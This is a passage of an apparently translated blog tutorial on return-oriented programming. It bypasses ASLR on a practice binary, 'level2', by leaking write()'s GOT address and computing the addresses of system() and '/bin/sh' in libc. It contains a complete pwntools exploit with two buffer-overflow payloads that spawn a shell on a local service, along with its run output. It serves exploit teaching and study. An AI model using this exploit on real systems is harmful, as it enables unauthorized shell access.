Learn ROP step by step-ROP

Posted by torsoboy on Wed, 24 Jul 2019 10:18:19 +0200

(continued above)
Next we turn on ASLR protection.

sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space`

Now let's go back and test the exp of Level 2 and find that it's no longer working.

#!bash
$python exp2.py 
[+] Started program './level2'
[*] Switching to interactive mode
[*] Program './level2' stopped with exit code -11
[*] Got EOF while reading in interactive

If you look through sudo cat/proc/[pid]/maps or ldd, you will find that the libc.so address of level 2 changes every time.

cat /proc/[First implemented level2 Of pid]/maps
b759c000-b7740000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7740000-b7741000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7741000-b7743000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7743000-b7744000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

cat /proc/[Second Enforcement level2 Of pid]/maps
b7546000-b76ea000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76ea000-b76eb000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76eb000-b76ed000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76ed000-b76ee000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

cat /proc/[Third implementation level2 Of pid]/maps
b7560000-b7704000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7704000-b7705000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7705000-b7707000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7707000-b7708000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

So how to solve the problem of address randomization? The idea is that we need to leak out the address of some libc.so functions in memory first, then use the leaked function address to calculate the address of system() function and / bin/sh string in memory based on offset, and then execute our ret2libc shellcode. Since the stack, libc, heap addresses are random. How can we leak the address of libc.so? There are still methods, because the address of the program itself in memory is not random.
So we just set the return value to the program itself to execute the desired instructions. First, we use objdump to view the available plt functions and their corresponding get tables:

#!bash
$ objdump -d -j .plt level2

Disassembly of section .plt:

08048310 <[email protected]>:
 8048310:   ff 25 00 a0 04 08       jmp    *0x804a000
 8048316:   68 00 00 00 00          push   $0x0
 804831b:   e9 e0 ff ff ff          jmp    8048300 <_init+0x30>

08048320 <[email protected]>:
 8048320:   ff 25 04 a0 04 08       jmp    *0x804a004
 8048326:   68 08 00 00 00          push   $0x8
 804832b:   e9 d0 ff ff ff          jmp    8048300 <_init+0x30>

08048330 <[email protected]>:
 8048330:   ff 25 08 a0 04 08       jmp    *0x804a008
 8048336:   68 10 00 00 00          push   $0x10
 804833b:   e9 c0 ff ff ff          jmp    8048300 <_init+0x30>

08048340 <[email protected]>:
 8048340:   ff 25 0c a0 04 08       jmp    *0x804a00c
 8048346:   68 18 00 00 00          push   $0x18
 804834b:   e9 b0 ff ff ff          jmp    8048300 <_init+0x30>

$ objdump -R level2
//got table
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   read
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main
0804a00c R_386_JUMP_SLOT   write

We found that besides the functions implemented by the program itself, we can also use them. email protected and email protected Function. But because the program itself does not call the system() function, we cannot call system() directly to get the shell. But we do. email protected Functions are enough because we can print out the address of the write() function in memory, that is, write. get, through the [email protected] () function. Since the write() function is implemented in libc.so, we call it email protected Why can a function also implement write()? This is because linux uses delay binding technology when we call it email protected At that time, the system will link the real write() function address to write. get of the get table, and then email protected It jumps to the real write() function based on write. get. (If it's still unclear, I recommend reading Programmers'Self-cultivation - Links, Loading and Libraries)
Because the offset (relative address) of system() function and write() in libc.so is unchanged, if we get the address of write() and have libc.so on the target server, we can calculate the address of system() in memory. Then we return the pc pointer back to the vulnerable_function() function, and we can ret2libc overflow attack, and this time we know the address of the system() in memory, we can call the system() function to get our shell.
Using the ldd command, you can view the so libraries invoked by the target program. Then we copy libc.so to the current directory, because our exp needs this so file to calculate the relative address:

$ldd level2 
    linux-gate.so.1 =>  (0xb7781000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000)
    /lib/ld-linux.so.2 (0xb7782000)
$ cp /lib/i386-linux-gnu/libc.so.6 libc.so
//Finally, exp is as follows:
#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

#p = process('./level2')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()
Final implementation of our exp: 
#!bash
$python exp3.py 
[+] Opening connection to 127.0.0.1 on port 10003: Done
plt_write= 0x8048340
got_write= 0x804a00c
vulfun= 0x8048404

###sending payload1 ...###

###receving write() addr...###
write_addr=0xb76f64c0

###calculating system() addr and "/bin/sh" addr...###
system_addr= 0xb7656460
binsh_addr= 0xb7778ff8

###sending payload2 ...###
[*] Switching to interactive mode
$ whoami
mzheng

Topics: Linux Python sudo shell